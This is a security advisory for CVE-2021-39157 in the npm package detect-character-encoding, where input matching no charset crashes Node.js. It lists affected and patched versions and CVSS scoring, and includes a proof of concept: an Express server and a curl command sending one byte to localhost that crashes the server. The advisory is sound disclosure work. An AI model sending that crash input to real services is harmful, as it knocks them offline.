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Improper Handling of Exceptional Conditions in detect-character-encoding

High
sonicdoe published GHSA-jqfh-8hw5-fqjr Aug 24, 2021

Package

npm detect-character-encoding (npm)

Affected versions

< 0.7.0

Patched versions

0.7.0

Description

Impact

In detect-character-encoding v0.6.0 and earlier, data matching no charset causes the Node.js process to crash.

Patches

The problem has been patched in detect-character-encoding v0.7.0.

CVSS score

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/RL:O/RC:C

Base Score: 7.5 (High)
Temporal Score: 7.2 (High)

Since detect-character-encoding is a library, the scoring is based on the “reasonable worst-case implementation scenario”, namely, accepting data from untrusted sources over a network and passing it directly to detect-character-encoding. Depending on your specific implementation, the vulnerability’s severity in your program may be different.

Proof of concept

const express = require("express");
const bodyParser = require("body-parser");
const detectCharacterEncoding = require("detect-character-encoding");

const app = express();

app.use(bodyParser.raw());

app.post("/", (req, res) => {
  const charsetMatch = detectCharacterEncoding(req.body);

  res.end(charsetMatch.encoding);
});

app.listen(3000);

printf "\xAA" | curl --request POST --header "Content-Type: application/octet-stream" --data-binary @- http://localhost:3000 crashes the server.

References

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2021-39157

Weaknesses